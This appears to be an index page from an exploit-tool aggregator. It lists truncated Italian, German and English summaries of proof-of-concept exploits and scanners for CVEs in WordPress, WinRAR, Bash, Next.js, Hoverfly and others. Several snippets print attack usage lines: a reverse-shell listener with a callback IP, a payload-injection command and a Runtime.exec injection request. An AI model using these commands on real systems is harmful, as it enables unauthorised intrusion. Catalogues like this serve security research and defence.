CVE-2024-51793

Documentazione dello strumento di exploit CVE-2024-51793 📋 Panoramica CVE-2024-51793 è una vulnerabilità di upload arbitrario di file non autenticato nel plugin Computer Repair Shop per WordPress versioni precedenti alla 3.8116. Questa vulnerabilità consente agli aggressori di caricare file...

CVE-2018-20250

exp per Estrarre l'esecuzione di codice da Winrar poc di Ridter come si usa? ti basta installare python 3.7, preparare un file dannoso che vuoi eseguire, impostare i valori che vuoi, questo script exp genererà automaticamente il file di archivio malevolo! 1. imposta i valori che vuoi root@kitploi...

exploits

Exploits Verschiedener Proof-of-Concept-Exploit-Code, der bei Xiphos Research zu Testzwecken geschrieben wurde. Aktuelle Exploits Index möglicherweise veraltet phpMoAdmin Remote Code Execution CVE-2015-2208 LotusCMS Remote Code Execution OSVDB-75095 ElasticSearch Remote Code Execution CVE-2015-14...

CVE-2014-6271

🚨 CVE-2014-6271 — “Shellshock” Zero-Day di 25 anni di Esecuzione Remota di Codice in GNU Bash tramite Variabili d'Ambiente 📖 Panoramica CVE-2014-6271 , soprannominato Shellshock noto anche come Bashdoor, è una vulnerabilità critica di esecuzione remota di codice RCE nella shell GNU Bash. Un...

cve-2025-55182

Exploit Python per CVE-2025-55182 Script Python 3 che può essere utilizzato per dimostrare CVE-2025-55182. Sfrutta una vulnerabilità di injection JavaScript lato server nelle applicazioni Next.js/React, consentendo l'esecuzione remota di codice tramite dati di form multipart malformati. ⚠️ Solo pe...

Dead.Letter-CVE-2026-45185

CVE-2026-45185 — Scanner di vulnerabilità Exim "Dead.Letter" Uno script shell per rilevare se un sistema Linux è vulnerabile a CVE-2026-45185, un use-after-free nell'Exim mail transfer agent che può portare all'esecuzione di codice remota. Progettato per l'uso in pipeline CI/CD, strumenti di...

CVE-2021-41773S

Immagini Docker vulnerabili per CVE-2021-41773 path traversal di Apache Questa vulnerabilità si applica solo alla versione 2.4.49 con configurazioni specifiche non predefinite. In determinate situazioni può comportare la lettura di file o l'esecuzione di codice...

ENLBufferPwn

ENLBufferPwn CVE-2022-47949 CVE:| CVE-2022-47949 ---|--- CVSS v3.1:| 9.8/10 Critica Autori:| PabloMK7, Rambo6Glaz, Fishguy6564 Segnalato:| 8 agosto 2021 Mario Kart 7 14 aprile 2022 per i giochi WiiU e Switch interessati Divulgato:| 22 dicembre 2022 Indice dei contenuti Descrizione Dettagli della...

RCE_CVE-2024-7954

RCECVE-2024-7954 Descrizione: Il plugin porteplume utilizzato da SPIP prima delle versioni 4.30-alpha2, 4.2.13 e 4.1.16 è vulnerabile a un'esecuzione di codice arbitrario. Un attaccante remoto e non autenticato può eseguire PHP arbitrario come utente SPIP inviando una richiesta HTTP appositamente...

React2Shell-PoC-CVE-2025-55182

Simulazione dell'attacco React2Shell CVE-2025-55182 Nota: Questo documento è solo a scopo educativo e di ricerca sulla sicurezza. Non utilizzare per attaccare sistemi senza autorizzazione. 1. Panoramica CVE-2025-55182, nota anche come React2Shell, è una grave vulnerabilità di Remote Code Executio...

CVE-2022-26809

CVE-2021-1675 / CVE-2021-34527 Implementazione Impacket del PrintNightmare PoC originariamente creato da Zhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370 Testato su un Domain Controller 2019 completamente patchato Esegui DLL dannose in remoto o localmente Aggiornamento della patch Microsoft h...

CVE-2023-38831

CVE-2023-38831 CVE-2023-38831 è una vulnerabilità RCE in WinRAR 6.23 Riferimento: https://github.com/z3r0sw0rd/CVE-2023-38831-PoC Leggi l'analisi del TAG di Google: https://blog.google/threat-analysis-group/government-backed-actors-exploiting-winrar-vulnerability/ Scarica l'ultima versione...

CVE-2023-37756-CWE-521-lead-to-malicious-plugin-upload-in-the-i-doit-Pro-25-and-below

CVE-2023-37756 – Requisito di password debole nell'admin-center che porta al caricamento di plugin dannosi in i-doit Pro 25 e versioni precedenti i-doit Pro 25 e versioni precedenti sono vulnerabili a una vulnerabilità di requisiti di password deboli nell'admin-center e al caricamento di plugin...

CVE-2019-9978

CVE-2019-9978 – Proof of Concept PoC Funktionierender PoC für die Schwachstelle CVE-2019-9978 , die das Plugin Social Warfare = 3.5.2 betrifft und Remote Code Execution RCE in WordPress ermöglicht. 📌 Beschreibung Dieser Exploit missbraucht den Parameter swpdebug=loadoptions, um das Laden eines...

CVE-2023-36664

CVE-2023-36664 : Ghostscript esecuzione di codice remoto Prova di concetto per la CVE-2023-36664. Utilizzo Per inserire un payload in un file .eps : root@kitploit: python3 poc.py -f "filename" --payload "command" python3 poc.py -f file.eps --payload firefox Per inserire un payload di reverse shel...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE Utilizzo Esecuzione comandi: root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Reverse Shell: root@kitploit: nc -lvnp 443 root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP...

cve-2022-22980

spring-data-mongodb-cve-2022-22980-exp Eine unbedeutende Schwachstelle, nur zur Dokumentation. 1. Redis starten, Port 27017 2. Projekt starten, Spring Boot läuft auf Port 6666 3. root@kitploit: GET /v1/user/get?username=Tjava.lang.Runtime.getRuntime.exec'open+-a+calculator.app' HTTP/1.1 Host:...

CVE-2026-47668

CVE-2026-47668 — DbGate Esecuzione di Codice Remota RCE non autenticata in DbGate JSON Script Runner dbgate-serve ≤ 7.1.8. Strumento di valutazione: CVE-2026-47668.py — solo test autorizzati...

CVE-2026-11561

CVE-2026-11561 — Apinizer SSTI / RCE Version Check Infra Nuclei-Vorlage zur Erkennung von Apinizer-Versionen unter 2026.04.6, die anfällig für CVE-2026-11561 Serverseitige Template-Injection, die zu Remote Code Execution führt, CVSS 9.8 sind. Verwendung root@kitploit: echo | nuclei -t...

CVE-2025-60787

CVE-2025-60787 - MotionEye RCE MotionEye v0.43.1b4 OS Command Injection Un proof-of-concept di OS Command Injection per una vulnerabilità in motionEye, un frontend web per il demone motion. La vulnerabilità abusa del parametro di configurazione imagefilename, passato direttamente alla shell senza...